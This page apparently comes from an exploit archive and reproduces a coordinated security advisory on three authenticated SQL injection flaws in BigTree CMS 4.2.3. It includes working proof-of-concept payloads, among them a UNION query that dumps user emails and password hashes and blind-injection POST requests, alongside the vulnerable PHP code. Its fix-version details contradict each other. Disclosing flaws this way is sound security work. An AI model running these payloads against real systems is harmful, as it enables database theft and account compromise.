Menu

Search for hundreds of thousands of exploits

"BigTree CMS 4.2.3 - (Authenticated) SQL Injection"

Author

Exploit author

"Curesec Research Team"

Platform

Exploit platform

php

Release date

Exploit published date

2015-08-18

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
BigTree CMS 4.2.3: Multiple SQL Injection Vulnerabilities
Security Advisory  Curesec Research Team

Online-Reference:
http://blog.curesec.com/article/blog/BigTree-CMS-423-Multiple-SQL-Injection-Vulnerabilities-39.html

1. Introduction

Affected Product:   BigTree CMS 4.2.3  
Fixed in:     4.2.4
Fixed Version Link:
https://github.com/bigtreecms/BigTree-CMS/archive/4.2.3.zip  
Vendor Contact:   contribute@bigtreecms.org  
Vulnerability Type:   Multiple SQL Injections  
Remote Exploitable:   Yes  
Reported to vendor:   07/07/2015  
Disclosed to public:   08/07/2015  
Release mode:     Coordinated release  
CVE:       n/a  
Credits     Tim Coen of Curesec GmbH  

2. Vulnerability Description

Various components of the admin area of the BigTree CMS are vulnerable
to SQL injection, which can lead to data leaks as well as compromisation
of the host.

Please note that you have to be authenticated to exploit this issue.

SQL Injection 1

The script that processes page view requests passes the "id" GET request
value to functions which put this value directly into SQL queries. No
prepared statements or escaping is used, thus opening it up to SQL
injection.

Proof of Concept (Show all BigTree users):


http://localhost//BigTree-CMS/site/index.php/admin/pages/view-tree/0'
union all select 1,concat(email, ":", password),3,4,5,6,7,8,9,10 from
bigtree_users %23/

Code:

        core/admin/modules/pages/view-tree.php:151; page id is user
controlled
          $nav_visible =
array_merge($admin->getNaturalNavigationByParent($page["id"],1),$admin->getPendingNavigationByParent($page["id"]));
          $nav_hidden =
array_merge($admin->getHiddenNavigationByParent($page["id"]),$admin->getPendingNavigationByParent($page["id"],""));
          $nav_archived = $admin->getArchivedNavigationByParent($page["id"]);

        core/inc/bigtree/admin.php:2638
        static function getArchivedNavigationByParent($parent) {
                [...]
          $q = sqlquery("SELECT id,nav_title as
title,parent,external,new_window,template,publish_at,expire_at,path,ga_page_views
FROM bigtree_pages WHERE parent = '$parent' AND archived = 'on' ORDER BY
nav_title asc");

        core/inc/bigtree/admin.php:3167
        static function getHiddenNavigationByParent($parent) {
                [...]
          $q = sqlquery("SELECT id,nav_title as
title,parent,external,new_window,template,publish_at,expire_at,path,ga_page_views
FROM bigtree_pages WHERE parent = '$parent' AND in_nav = '' AND archived
!= 'on' ORDER BY nav_title asc");

        core/inc/bigtree/admin.php:3758
        static function getNaturalNavigationByParent($parent,$levels = 1) {
                [...]
          $q = sqlquery("SELECT id,nav_title AS
title,parent,external,new_window,template,publish_at,expire_at,path,ga_page_views
FROM bigtree_pages WHERE parent = '$parent' AND in_nav = 'on' AND
archived != 'on' ORDER BY position DESC, id ASC");

        core/inc/bigtree/admin.php:4531
        static function getPendingNavigationByParent($parent,$in_nav = true) {
                [...]
          $q = sqlquery("SELECT * FROM bigtree_pending_changes WHERE
pending_page_parent = '$parent' AND `table` = 'bigtree_pages' AND type =
'NEW' ORDER BY date DESC");

SQL Injection 2

When creating a new user, the email address is not checked server side,
so it is possible to set it to anything.

When logging in, the email address is saved in the session, and later
used to retrieve user data. This happens without prepared statements,
thus opening the query up to SQL injection.

Proof of Concept:


1. Create User
f'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10%23bar@example.com
2. Log in
3. result can be seen in multiple places

Code:

    core/inc/bigtree/admin.php:81
        $f = sqlfetch(sqlquery("SELECT * FROM bigtree_users WHERE id =
'".$_SESSION["bigtree_admin"]["id"]."' AND email =
'".$_SESSION["bigtree_admin"]["email"]."'"));

SQL Injection 3 (Blind)

The function used to calculate the SEO score of a post for Ajax requests
passes unsanitized user input to a function performing the actual
computation. This function does not use prepared statements, thus
opening it up to SQL injection. The result of the query is never echoed
to the end user, making this a blind SQL injection.

Proof of Concept:



http://localhost//BigTree-CMS/site/index.php/admin/ajax/pages/get-seo-score
        POST: content=foo&resources=bar&id=foo' or 1=2%23&title=Trees of
All Sizes


http://localhost//BigTree-CMS/site/index.php/admin/ajax/pages/get-seo-score
        POST: content=foo&resources=bar&id=foo' or 1=1%23&title=Trees of
All Sizes

Code:

        core/admin/ajax/pages/get-seo-score.php:4:  
            $seo = $admin->getPageSEORating($_POST,$_POST["resources"]);

        core/inc/bigtree/admin.php:4222
            static function getPageSEORating($page,$content) {
                    [...]
              if ($page["title"]) {
                $score += 5;
                // They have a title, let's see if it's unique
                $r = sqlrows(sqlquery("SELECT * FROM bigtree_pages WHERE
title = '".sqlescape($page["title"])."' AND id != '".$page["id"]."'"));

3. Solution

To mitigate this issue please upgrade at least to version 4.2.3:

https://github.com/bigtreecms/BigTree-CMS/archive/4.2.3.zip

Please note that a newer version might already be available.

4. Report Timeline

07/07/2015   Informed Vendor about Issue
07/08/2015   Vendor send Fixes for confirmation
07/10/2015   Fixes Confirmed
07/26/2015   Vendor releases Version 4.2.3
08/07/2015   Disclosed to public
Release Date Title Type Platform Author
2020-12-02 "aSc TimeTables 2021.6.2 - Denial of Service (PoC)" local windows "Ismael Nava"
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - No rate Limit on Password Reset functionality" webapps php "Mufaddal Masalawala"
2020-12-02 "Ksix Zigbee Devices - Playback Protection Bypass (PoC)" remote multiple "Alejandro Vazquez Vazquez"
2020-12-02 "Mitel mitel-cs018 - Call Data Information Disclosure" remote linux "Andrea Intilangelo"
2020-12-02 "Artworks Gallery 1.0 - Arbitrary File Upload RCE (Authenticated) via Edit Profile" webapps multiple "Shahrukh Iqbal Mirza"
2020-12-02 "DotCMS 20.11 - Stored Cross-Site Scripting" webapps multiple "Hardik Solanki"
2020-12-02 "ChurchCRM 4.2.1 - Persistent Cross Site Scripting (XSS)" webapps multiple "Mufaddal Masalawala"
2020-12-02 "ChurchCRM 4.2.0 - CSV/Formula Injection" webapps multiple "Mufaddal Masalawala"
2020-12-02 "NewsLister - Authenticated Persistent Cross-Site Scripting" webapps multiple "Emre Aslan"
2020-12-02 "IDT PC Audio 1.0.6433.0 - 'STacSV' Unquoted Service Path" local windows "Manuel Alvarez"
Release Date Title Type Platform Author
2017-03-20 "phplist 3.2.6 - SQL Injection" webapps php "Curesec Research Team"
2016-11-21 "Mezzanine 4.2.0 - Cross-Site Scripting" webapps python "Curesec Research Team"
2016-11-21 "LEPTON 2.2.2 - Remote Code Execution" webapps php "Curesec Research Team"
2016-11-21 "FUDforum 3.0.6 - Cross-Site Scripting / Cross-Site Request Forgery" webapps php "Curesec Research Team"
2016-11-21 "LEPTON 2.2.2 - SQL Injection" webapps php "Curesec Research Team"
2016-11-21 "FUDforum 3.0.6 - Local File Inclusion" webapps php "Curesec Research Team"
2016-11-10 "MyBB 1.8.6 - Cross-Site Scripting" webapps php "Curesec Research Team"
2016-09-19 "Kajona 4.7 - Cross-Site Scripting / Directory Traversal" webapps php "Curesec Research Team"
2016-09-19 "MyBB 1.8.6 - SQL Injection" webapps php "Curesec Research Team"
2016-03-17 "ZenPhoto 1.4.11 - Remote File Inclusion" webapps php "Curesec Research Team"
2016-03-17 "PivotX 2.3.11 - Directory Traversal" webapps php "Curesec Research Team"
2016-02-04 "OpenDocMan 1.3.4 - Cross-Site Request Forgery" webapps php "Curesec Research Team"
2016-02-04 "ATutor 2.2 - Multiple Cross-Site Scripting Vulnerabilities" webapps php "Curesec Research Team"
2015-12-23 "Arastta 1.1.5 - SQL Injection" webapps php "Curesec Research Team"
2015-12-23 "PhpSocial 2.0.0304_20222226 - Cross-Site Request Forgery" webapps php "Curesec Research Team"
2015-12-23 "Grawlix 1.0.3 - Cross-Site Request Forgery" webapps php "Curesec Research Team"
2015-11-16 "ClipperCMS 1.3.0 - Multiple SQL Injections" webapps php "Curesec Research Team"
2015-11-16 "AlegroCart 1.2.8 - Local/Remote File Inclusion" webapps php "Curesec Research Team"
2015-11-16 "AlegroCart 1.2.8 - Multiple SQL Injections" webapps php "Curesec Research Team"
2015-11-16 "XCart 5.2.6 - Code Execution" remote php "Curesec Research Team"
2015-11-16 "ClipperCMS 1.3.0 - Code Execution" remote php "Curesec Research Team"
2015-10-30 "Pligg CMS 2.0.2 - Cross-Site Request Forgery / Code Execution" webapps php "Curesec Research Team"
2015-10-30 "Pligg CMS 2.0.2 - Multiple SQL Injections" webapps php "Curesec Research Team"
2015-10-30 "Pligg CMS 2.0.2 - Directory Traversal" webapps php "Curesec Research Team"
2015-09-17 "ZeusCart 4.0 - SQL Injection" webapps php "Curesec Research Team"
2015-09-17 "ZeusCart 4.0 - Cross-Site Request Forgery" webapps php "Curesec Research Team"
2015-08-18 "CodoForum 3.3.1 - Multiple SQL Injections" webapps php "Curesec Research Team"
2015-08-18 "BigTree CMS 4.2.3 - (Authenticated) SQL Injection" webapps php "Curesec Research Team"
2013-11-18 "LiveZilla 5.0.1.4 - Remote Code Execution" webapps php "Curesec Research Team"
import requests
response = requests.get('http://127.0.0.1:8181?format=json')

For full documentation follow the link above

Cipherscan. Find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.